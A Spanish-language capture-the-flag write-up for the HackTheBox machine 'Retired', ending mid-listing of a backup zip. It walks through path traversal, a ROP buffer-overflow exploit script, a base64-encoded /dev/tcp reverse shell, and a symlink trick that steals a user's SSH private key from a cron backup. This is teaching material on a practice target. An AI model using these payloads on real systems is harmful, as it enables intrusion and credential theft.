Retired
22 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.154
- Fecha: 02 / 04 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.154 -p 22,80
Nmap scan report for 10.10.11.154
Host is up (0.041s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)
| 256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)
|_ 256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26:cd:6b (ED25519)
80/tcp open http nginx
| http-title: Agency - Start Bootstrap Theme
|_Requested resource was /index.php?page=default.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.11 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración
Si vamos a http://10.10.11.154
, veremos una página como esta:
Solamente muestra un poco de información sobre algo llamado EMUEMU y OSTRICH. Ni idea aún.
Vamos a aplicar fuzzing para enumerar más rutas. Nótese que estoy usando extensiones .php
y .html
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.154/FUZZ -e .php,.html
index.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 50ms]
default.html [Status: 200, Size: 11414, Words: 4081, Lines: 189, Duration: 39ms]
assets [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 39ms]
css [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 40ms]
beta.html [Status: 200, Size: 4144, Words: 1137, Lines: 73, Duration: 71ms]
js [Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 42ms]
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 39ms]
Genial, tenemos beta.html
. Vamos a ver qué hay:
Podemos subir un archivo de licencia, y debería tener 512 bits. No hay más información sobre esto. Si tratamos de subir algo, la respuesta del servidor está vacía, y da igual lo que subamos, no hay respuesta.
El formulario se envía a activate_license.php
:
Acceso a la máquina
Como el index.php
acepta un parámetro llamado page
, pide a gritos introducir payloads de tipo Local File Inclusion o Directory Path Traversal. Vamos a probar:
$ curl '10.10.11.154?page=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
_chrony:x:105:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
vagrant:x:1000:1000::/vagrant:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
dev:x:1001:1001::/home/dev:/bin/bash
Genial, tenemos una vulnerabilidad de Directory Path Traversal (ya que el archivo solamente se lee, no se ejecuta).
Explotación de Directory Path Traversal
Vamos a ver el código fuente en PHP:
$ curl '10.10.11.154?page=index.php'
<?php
function sanitize_input($param) {
$param1 = str_replace("../", "", $param);
$param2 = str_replace("./", "", $param1);
return $param2;
}
$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
$page = sanitize_input($page);
} else {
header('Location: /index.php?page=default.html');
}
readfile($page);
Una cosa que podemos ver es que el navegador aplicará una redirección a index.php?page=default.html
, por lo que no notaremos que el archivo se renderiza en la respuesta. Como curl
no hace la redirección por defect, podemos leer la respuesta incluso si contiene una redirección.
Ahora vamos a ver cómo se gestiona la subida del archivo:
$ curl '10.10.11.154?page=activate_license.php'
<?php
if (isset($_FILES['licensefile'])) {
$license = file_get_contents($_FILES['licensefile']['tmp_name']);
$license_size = $_FILES['licensefile']['size'];
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!$socket) { echo "error socket_create()\n"; }
if (!socket_connect($socket, '127.0.0.1', 1337)) {
echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";
}
socket_write($socket, pack("N", $license_size));
socket_write($socket, $license);
socket_shutdown($socket);
socket_close($socket);
}
Interesante, se está conectando a un servidor de socket en local en el puerto 1337 y le pasa el tamaño del archivo y su contenido.
Como tenemos una vulnerabilidad de Directory Path Traversal, podemos enumerar procesos leyendo desde /proc/<PID>
. Cada directorio “PID” contiene algunos archivos relacionados con el proceso en sí. Nos interesa /proc<PID>/cmdline
para saber el comando usado para iniciar el proceso. Vamos a usar fuerza bruta para enumerar procesos y ver si hay alguno que se ejecute en el puerto 1337:
$ for i in {1..1000}; do echo -n "$i: "; curl "10.10.11.154?page=/proc/$i/cmdline" -so -; echo; done | grep -a ': .'
411: /usr/bin/activate_license1337
576: nginx: worker process
577: nginx: worker process
Nótese que hay algunos bytes nulos:
$ curl '10.10.11.154?page=/proc/411/cmdline' -so - | xxd
00000000: 2f75 7372 2f62 696e 2f61 6374 6976 6174 /usr/bin/activat
00000010: 655f 6c69 6365 6e73 6500 3133 3337 00 e_license.1337.
$ curl '10.10.11.154?page=/proc/426/cmdline' -so - | tr '\0' ' '
/usr/bin/activate_license 1337
Genial, parece que tenemos un archivo llamado /usr/bin/activate_license
, vamos a descargarlo:
$ curl '10.10.11.154?page=/usr/bin/activate_license' > activate_license
$ file activate_license
activate_license: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=554631debe5b40be0f96cabea315eedd2439fb81, for GNU/Linux 3.2.0, with debug_info, not stripped
Análisis de un binario
Se trata de un binario ELF de 64 bits… Esto se pone interesante… El hecho de que la clave de licencia tenga un tamaño fijo indica que el binario podría ser vulnerable a Buffer Overflow. Estas son las protecciones del binario:
$ checksec activate_license
[*] './activate_license'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Mmm, muy protegido… Necesitaremos al menos dos direcciones en tiempo de ejecución: una de Glibc para burlar ASLR y otra del binario para burlar PIE. Además, como NX está habilitado, tendremos que usar Return Oriented Programming (ROP).
Vamos a emplear Ghidra para descompilar el binario y analizarlo. Esta es la función main
:
int main(int argc, char **argv) {
int iVar1;
__pid_t _Var2;
int *piVar3;
char *pcVar4;
char clientaddr_s[16];
sockaddr_in clientaddr;
socklen_t clientaddrlen;
sockaddr_in server;
uint16_t port;
int clientfd;
int serverfd;
if (argc != 2) {
error("specify port to bind to");
}
iVar1 = __isoc99_sscanf(argv[1], "%hu", &port);
if (iVar1 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
printf("[+] starting server listening on port %d\n", (ulong) port);
server.sin_family = 2;
server.sin_addr = htonl(0x7f000001);
server.sin_port = htons(port);
serverfd = socket(2, 1, 6);
if (serverfd == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
iVar1 = bind(serverfd, (sockaddr *) &server, 0x10);
if (iVar1 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
iVar1 = listen(serverfd, 100);
if (iVar1 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
puts("[+] listening ...");
while (true) {
while (true) {
clientfd = accept(serverfd, (sockaddr *) &clientaddr, &clientaddrlen);
if (clientfd != -1) break;
fwrite("Error: accepting client\n", 1, 0x18, stderr);
}
inet_ntop(2, &clientaddr.sin_addr, clientaddr_s, 0x10);
printf("[+] accepted client connection from %s:%d\n", clientaddr_s, (ulong) clientaddr.sin_port);
_Var2 = fork();
if (_Var2 == 0) break;
__sysv_signal(0x11, (__sighandler_t) 0x1);
close(clientfd);
}
close(serverfd);
activate_license(clientfd);
/* WARNING: Subroutine does not return */
exit(0);
}
Simplemente inicia un servidor de socket en el puerto 1337. Cada vez que se recibe una nueva conexión, el proceso usa fork
(que significa que el proceso padre sigue escuchando por nuevas conexiones y no se romperá). El proceso hijo ejecuta la función activate_license
:
void activate_license(int sockfd) {
int iVar1;
ssize_t sVar2;
int *piVar3;
char *pcVar4;
sqlite3_stmt *stmt;
sqlite3 *db;
uint32_t msglen;
char buffer[512];
sVar2 = read(sockfd, &msglen, 4);
if (sVar2 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
msglen = ntohl(msglen);
printf("[+] reading %d bytes\n", (ulong) msglen);
sVar2 = read(sockfd, buffer, (ulong) msglen);
if (sVar2 == -1) {
piVar3 = __errno_location();
pcVar4 = strerror(*piVar3);
error(pcVar4);
}
iVar1 = sqlite3_open("license.sqlite", &db);
if (iVar1 != 0) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
sqlite3_busy_timeout(db, 2000);
iVar1 = sqlite3_exec(db, "CREATE TABLE IF NOT EXISTS license ( id INTEGER PRIMARY KEY AUTOINCREMENT, license_key TEXT)", 0, 0, 0);
if (iVar1 != 0) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_prepare_v2(db, "INSERT INTO license (license_key) VALUES (?)", 0xffffffff, &stmt, 0);
if (iVar1 != 0) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_bind_text(stmt, 1, buffer, 0x200, 0);
if (iVar1 != 0) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_step(stmt);
if (iVar1 != 0x65) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_reset(stmt);
if (iVar1 != 0) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_finalize(stmt);
if (iVar1 != 0) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
iVar1 = sqlite3_close(db);
if (iVar1 != 0) {
pcVar4 = (char *) sqlite3_errmsg(db);
error(pcVar4);
}
printf("[+] activated license: %s\n", buffer);
return;
}
Podríamos mirar si las consultas de SQL son inyectables, pero no lo son. Entonces, el camino tiene que ser mediante explotación de binarios. La vulnerabilidad de Buffer Overflow está aquí:
void activate_license(int sockfd) {
// ...
int iVar1;
ssize_t sVar2;
uint32_t msglen;
char buffer[512];
sVar2 = read(sockfd, &msglen, 4);
// ...
msglen = ntohl(msglen);
printf("[+] reading %d bytes\n", (ulong) msglen);
sVar2 = read(sockfd, buffer, (ulong) msglen);
// ...
}
La primera instrucción read
lee el tamaño del archivo, y la segunda copia el contenido del archivo en buffer
. Como podemos controlar el tamaño del archivo, podemos desbordar el buffer reservado de buffer
(que es 512 bytes) y por tanto modificar la dirección de retorno guardada en la pila (stack).
Preparación del exploit
El binario no puede ser explotado mediante un ataque ret2libc común. El problema es que no tenemos comunicación directa con el binario. En su lugar, tenemos que enviar el payload como un archivo al servidor PHP y este será pasado al binario. No obtendremos ninguna salida, por lo que no podemos usar fugas de memoria.
Sin embargo, podemos obtener la información necesaria de /proc/<PID>/maps
:
$ curl '10.10.11.154?page=/proc/411/maps'
5631036d6000-5631036d7000 r--p 00000000 08:01 2408 /usr/bin/activate_license
5631036d7000-5631036d8000 r-xp 00001000 08:01 2408 /usr/bin/activate_license
5631036d8000-5631036d9000 r--p 00002000 08:01 2408 /usr/bin/activate_license
5631036d9000-5631036da000 r--p 00002000 08:01 2408 /usr/bin/activate_license
5631036da000-5631036db000 rw-p 00003000 08:01 2408 /usr/bin/activate_license
563104ac4000-563104ae5000 rw-p 00000000 00:00 0 [heap]
7f8f07aa9000-7f8f07aab000 rw-p 00000000 00:00 0
7f8f07aab000-7f8f07aac000 r--p 00000000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f8f07aac000-7f8f07aae000 r-xp 00001000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f8f07aae000-7f8f07aaf000 r--p 00003000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f8f07aaf000-7f8f07ab0000 r--p 00003000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f8f07ab0000-7f8f07ab1000 rw-p 00004000 08:01 3635 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
7f8f07ab1000-7f8f07ab8000 r--p 00000000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f8f07ab8000-7f8f07ac8000 r-xp 00007000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f8f07ac8000-7f8f07acd000 r--p 00017000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f8f07acd000-7f8f07ace000 r--p 0001b000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f8f07ace000-7f8f07acf000 rw-p 0001c000 08:01 3645 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
7f8f07acf000-7f8f07ad3000 rw-p 00000000 00:00 0
7f8f07ad3000-7f8f07ae2000 r--p 00000000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f8f07ae2000-7f8f07b7c000 r-xp 0000f000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f8f07b7c000-7f8f07c15000 r--p 000a9000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f8f07c15000-7f8f07c16000 r--p 00141000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f8f07c16000-7f8f07c17000 rw-p 00142000 08:01 3636 /usr/lib/x86_64-linux-gnu/libm-2.31.so
7f8f07c17000-7f8f07c3c000 r--p 00000000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f8f07c3c000-7f8f07d87000 r-xp 00025000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f8f07d87000-7f8f07dd1000 r--p 00170000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f8f07dd1000-7f8f07dd2000 ---p 001ba000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f8f07dd2000-7f8f07dd5000 r--p 001ba000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f8f07dd5000-7f8f07dd8000 rw-p 001bd000 08:01 3634 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f8f07dd8000-7f8f07ddc000 rw-p 00000000 00:00 0
7f8f07ddc000-7f8f07dec000 r--p 00000000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f8f07dec000-7f8f07ee4000 r-xp 00010000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f8f07ee4000-7f8f07f18000 r--p 00108000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f8f07f18000-7f8f07f1c000 r--p 0013b000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f8f07f1c000-7f8f07f1f000 rw-p 0013f000 08:01 5321 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7f8f07f1f000-7f8f07f21000 rw-p 00000000 00:00 0
7f8f07f26000-7f8f07f27000 r--p 00000000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f8f07f27000-7f8f07f47000 r-xp 00001000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f8f07f47000-7f8f07f4f000 r--p 00021000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f8f07f50000-7f8f07f51000 r--p 00029000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f8f07f51000-7f8f07f52000 rw-p 0002a000 08:01 3630 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f8f07f52000-7f8f07f53000 rw-p 00000000 00:00 0
7ffc8b8b8000-7ffc8b8d9000 rw-p 00000000 00:00 0 [stack]
7ffc8b8de000-7ffc8b8e2000 r--p 00000000 00:00 0 [vvar]
7ffc8b8e2000-7ffc8b8e4000 r-xp 00000000 00:00 0 [vdso]
Aquí tenemos la dirección base del binario (0x5631036d6000
), la dirección base de Glibc (0x7f8f07c17000
) y también el comienzo de la pila (0x7ffc8b8b8000
). Estos tres valores serán útiles para la explotación.
Además, vamos a descargarnos la librería Glibc de la máquina para desarrollar el exploit:
$ curl '10.10.11.154?page=/usr/lib/x86_64-linux-gnu/libc-2.31.so' -o libc.so.6
Desarrollo del exploit
El objetivo del exploit es llamar a system
en Glibc (tenemos su dirección real) y usar un comando de reverse shell como primer argmento. Como se trata de un comando personalizado que no está en Glibc o en el binario, tiene que ser guardado en la pila (y por eso necesitamos una dirección de la pila). Por tanto, queremos lo siguiente:
- Que
$rdi
tenga la dirección del comando - Llamar a
system
en Glibc
Se trata de un binario de 64 bits, por lo que la convención de llamadas dice que los argumentos se pasan a las funciones a través de los registros (en orden: $rdi
, $rsi
, $rdx
, $rcx
…). Esta vez, llamaremos a system
, que usa un solo argumento que es el puntero a la string (que será el comando que queremos ejecutar).
Como NX está habilitado, tenemos que usar ROP para configurar el valor de $rdi
usando un gadget pop rdi; ret
. ROP nos permitirá redirigir el flujo de ejecución a direcciones específicas que ejecutarán las instrucciones que queremos y retornarán a la siguiente dirección de la pila, donde estará el siguiente gadget (de ahí el término ROP chain).
Podemos encontrar gadgets en el binario o Glibc, no importa esta vez:
$ ROPgadget --binary activate_license | grep ': pop rdi ; ret$'
0x000000000000181b : pop rdi ; ret
El valor 0x181b
es solo un offset. Como el binario tiene PIE activado, la base del binario es aleatoria y todas las direcciones se calculan como offsets a la dirección base. Como tenemos la dirección base de /proc/<PID>/maps
, sabemos la dirección real del gadget en tiempo de ejecución.
Luego, tenemos que encontrar el offset de system
en Glibc:
$ readelf -s libc.so.6 | grep system
237: 000000000012d5e0 99 FUNC GLOBAL DEFAULT 14 svcerr_systemerr@@GLIBC_2.2.5
619: 0000000000048e50 45 FUNC GLOBAL DEFAULT 14 __libc_system@@GLIBC_PRIVATE
1430: 0000000000048e50 45 FUNC WEAK DEFAULT 14 system@@GLIBC_2.2.5
De nuevo, 0x48e50
es un offset porque la dirección base de Glibc es aleatoria debido al ASLR. Además, tenemos la dirección base de Glibc en tiempo de ejecución desde antes.
Genial, ahora tenemos que ver qué cantidad de caracteres necesitamos para sobrescribir la dirección de retorno guardada en la pila. Por experiencia en explotación en 64 bits, se sabe que si el buffer reservado es $x$, entonces el offset es normalmente $x + 8$ (si no hay canario). Entonces, el offset es 520 esta vez. Otra manera de encontrarlo es con patrones en GDB.
Utilicé un script en Python para coger las direcciones desde /proc/<PID>/maps
, crear el payload y enviarlo al servidor. Se puede encontrar aquí: first_exploit.py
.
La función que construye el payload es esta:
def craft_payload(pid, cmd, stack_offset):
elf_address, glibc_address, stack_address = get_addresses(pid)
pop_rdi_ret = elf_address + 0x0181b
system = glibc_address + 0x48e50
padding = b' ' * 200
cmd = padding + cmd.encode() + b'\0'
offset = 520
junk = b'A' * offset
payload = junk
payload += p64(pop_rdi_ret)
payload += p64(stack_address + stack_offset)
payload += p64(system)
payload += cmd
return {'licensefile': ('tmp_name', payload)}
Nótese que el comando que se ejecuta se introduce después de la ROP chain y se rellena com 200 espacios. Esto es importante porque no sabemos la dirección exacta en la que se sitúa nuestro comando en la pila, por lo que tenemos que hacer fuerza bruta. El relleno nos permite tener más tolerancia en el puntero porque podemos saltar al comienzo de los espacios, en el medio o justo donde comienza el comando (tolerancia de 200 direcciones) y el comando aún se ejecuta. Además, el comando se termina con un byte nulo.
Esta es la función main
, que tiene dos estrategias y envía el payload al servidor PHP como archivo:
def main():
if len(sys.argv) != 3 and len(sys.argv) != 4:
print(f'[!] Usage: python3 {sys.argv[0]} <PID> <cmd> [stack offset]')
return
pid, cmd = sys.argv[1], sys.argv[2]
if len(sys.argv) == 4:
stack_offset = int(sys.argv[3], 16)
requests.post(f'http://{ip}/activate_license.php',
files=craft_payload(pid, cmd, stack_offset))
print('[+] Sent payload. Check listener')
return
print('[+] Starting brute force on stack offset')
for stack_offset in range(0x21000, 0, -128):
print(f'[*] Stack offset: {hex(stack_offset)}')
time.sleep(1)
requests.post(f'http://{ip}/activate_license.php',
files=craft_payload(pid, cmd, stack_offset))
La primera estrategia es para hacer fuerza bruta a una dirección de la pila usando un offset (comenzando por 0x21000
, que es la cima de la pila, y descendiendo):
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ python3 first_exploit.py 411 'echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash'
[+] Starting brute force on stack offset
[*] Stack offset: 0x21000
[*] Stack offset: 0x20f80
[*] Stack offset: 0x20f00
[*] Stack offset: 0x20e80
[*] Stack offset: 0x20e00
[*] Stack offset: 0x20d80
[*] Stack offset: 0x20d00
[*] Stack offset: 0x20c80
[*] Stack offset: 0x20c00
[*] Stack offset: 0x20b80
[*] Stack offset: 0x20b00
[*] Stack offset: 0x20a80
[*] Stack offset: 0x20a00
[*] Stack offset: 0x20980
[*] Stack offset: 0x20900
[*] Stack offset: 0x20880
[*] Stack offset: 0x20800
[*] Stack offset: 0x20780
[*] Stack offset: 0x20700
[*] Stack offset: 0x20680
[*] Stack offset: 0x20600
[*] Stack offset: 0x20580
[*] Stack offset: 0x20500
[*] Stack offset: 0x20480
^C
[!] Exiting...
Usando como comando una reverse shell un ping
o una petición web, podemos adivinar el offset en el stack. Aunque no es estrictamente necesario si se usa una reverse shell, podemos ejecutar el exploit de nuevo indicando el offset para conseguir ejecución remota de comandos (RCE) instantáneamente:
$ python3 first_exploit.py 411 'echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash' 0x20500
[+] Sent payload. Check listener
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.154.
Ncat: Connection from 10.10.11.154:53848.
bash: cannot set terminal process group (411): Inappropriate ioctl for device
bash: no job control in this shell
www-data@retired:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@retired:~$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@retired:~$ export TERM=xterm
www-data@retired:~$ export SHELL=bash
www-data@retired:~$ stty rows 50 columns 158
Existen más maneras de explotar el binario. En este second_exploit.py
uso una dirección del binario con permisos de escritura para guardar el comando de reverse shell usando una primitiva “write-what-where” en bloques de 8 bytes mediante gadgets pop rax; ret
, pop rdi; ret
y luego usar mov qword ptr [rax], rdi; ret
para mover los bloques de comandos a las direcciones escribibles (explicación detallada aquí).
Además, es posible llamar a mprotect
para modificar los permisos del stack y configurarla como ejecutable, de manera que podemos introducir shellcode en la pila y ejecutarlo para obtener una reverse shell. Esta técnica se utiliza en third_exploit.py
(explicación detallada aquí).
Enumeración del sistema
Lo primero que notamos es que hay algunos archivos ZIP en /var/www
:
www-data@retired:~$ ls -la
total 1760
drwxrwsrwx 3 www-data www-data 4096 Apr 3 12:16 .
drwxr-xr-x 12 root root 4096 Mar 11 14:36 ..
-rw-r--r-- 1 dev www-data 505153 Apr 3 12:14 2022-04-03_12-14-03-html.zip
-rw-r--r-- 1 dev www-data 505153 Apr 3 12:15 2022-04-03_12-15-03-html.zip
-rw-r--r-- 1 dev www-data 505153 Apr 3 12:16 2022-04-03_12-16-03-html.zip
drwxrwsrwx 5 www-data www-data 4096 Mar 11 14:36 html
-rw-r--r-- 1 www-data www-data 262144 Apr 3 12:15 license.sqlite
Todos contienen una copia de seguridad del código fuente del servidor:
www-data@retired:~$ unzip -l 2022-04-03_12-16-03-html.zip
Archive: 2022-04-03_12-16-03-html.zip
Length Date Time Name
--------- ---------- ----- ----
0 2022-03-11 14:36 var/www/html/
0 2022-03-11 14:36 var/www/html/js/
1636 2021-10-13 02:59 var/www/html/js/scripts.js
585 2021-10-13 02:58 var/www/html/activate_license.php
0 2022-03-11 14:36 var/www/html/assets/
23462 2021-10-13 02:59 var/www/html/assets/favicon.ico
0 2022-03-11 14:36 var/www/html/assets/img/
333 2021-10-13 02:59 var/www/html/assets/img/close-icon.svg
14220 2021-10-13 02:59 var/www/html/assets/img/navbar-logo.svg
0 2022-03-11 14:36 var/www/html/assets/img/about/
10187 2021-10-13 02:59 var/www/html/assets/img/about/2.jpg
16175 2021-10-13 02:59 var/www/html/assets/img/about/4.jpg
18029 2021-10-13 02:59 var/www/html/assets/img/about/3.jpg
19668 2021-10-13 02:59 var/www/html/assets/img/about/1.jpg
0 2022-03-11 14:36 var/www/html/assets/img/logos/
3223 2021-10-13 02:59 var/www/html/assets/img/logos/facebook.svg
4137 2021-10-13 02:59 var/www/html/assets/img/logos/microsoft.svg
3282 2021-10-13 02:59 var/www/html/assets/img/logos/google.svg
2284 2021-10-13 02:59 var/www/html/assets/img/logos/ibm.svg
0 2022-03-11 14:36 var/www/html/assets/img/team/
61067 2021-10-13 02:59 var/www/html/assets/img/team/2.jpg
57725 2021-10-13 02:59 var/www/html/assets/img/team/3.jpg
40338 2021-10-13 02:59 var/www/html/assets/img/team/1.jpg
238317 2021-10-13 02:59 var/www/html/assets/img/header-bg.jpg
4144 2022-03-11 11:34 var/www/html/beta.html
11414 2021-10-13 02:58 var/www/html/default.html
348 2022-03-11 11:29 var/www/html/index.php
0 2022-03-11 14:36 var/www/html/css/
219875 2021-10-13 02:59 var/www/html/css/styles.css
--------- -------
750449 29 files
Además, los archivos ZIP pertenecen al usuario dev
y al grupo www-data
. Cada minuto, aparece un nuevo archivo ZIP, vamos a buscar por backup
y luego a ver si hay alguna tarea Cron:
www-data@retired:~$ cat /usr/bin/webbackup
#!/bin/bash
set -euf -o pipefail
cd /var/www/
SRC=/var/www/html
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"
/usr/bin/rm --force -- "$DST"
/usr/bin/zip --recurse-paths "$DST" "$SRC"
KEEP=10
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \
| sort --zero-terminated --numeric-sort --reverse \
| while IFS= read -r -d '' backup; do
if [ "$KEEP" -le 0 ]; then
/usr/bin/rm --force -- "$backup"
fi
KEEP="$((KEEP-1))"
done
Aunque date
y sort
se llaman con rutas relativas, no existe vulnerabilidad de PATH
hijacking.
Movimiento lateral al usuario dev
En su lugar, podemos crear un enlace simbólico que apunte a /home/dev/.ssh/id_rsa
, de manera que se comprime en un archivo ZIP y luego lo podemos extraer:
www-data@retired:~/html$ ln -s /home/dev/.ssh/id_rsa dev_id_rsa
Después de un minuto, el nuevo archivo ZIP contiene la clave privada de SSH de dev
:
www-data@retired:~/html$ cd ..
www-data@retired:~$ unzip -l 2022-04-03_13-14-04-html.zip
Archive: 2022-04-03_13-14-04-html.zip
Length Date Time Name
--------- ---------- ----- ----
0 2022-04-03 13:13 var/www/html/
0 2022-03-11 14:36 var/www/html/js/
1636 2021-10-13 02:59 var/www/html/js/scripts.js
585 2021-10-13 02:58 var/www/html/activate_license.php
0 2022-03-11 14:36 var/www/html/assets/
23462 2021-10-13 02:59 var/www/html/assets/favicon.ico
0 2022-03-11 14:36 var/www/html/assets/img/
333 2021-10-13 02:59 var/www/html/assets/img/close-icon.svg
14220 2021-10-13 02:59 var/www/html/assets/img/navbar-logo.svg
0 2022-03-11 14:36 var/www/html/assets/img/about/
10187 2021-10-13 02:59 var/www/html/assets/img/about/2.jpg
16175 2021-10-13 02:59 var/www/html/assets/img/about/4.jpg
18029 2021-10-13 02:59 var/www/html/assets/img/about/3.jpg
19668 2021-10-13 02:59 var/www/html/assets/img/about/1.jpg
0 2022-03-11 14:36 var/www/html/assets/img/logos/
3223 2021-10-13 02:59 var/www/html/assets/img/logos/facebook.svg
4137 2021-10-13 02:59 var/www/html/assets/img/logos/microsoft.svg
3282 2021-10-13 02:59 var/www/html/assets/img/logos/google.svg
2284 2021-10-13 02:59 var/www/html/assets/img/logos/ibm.svg
0 2022-03-11 14:36 var/www/html/assets/img/team/
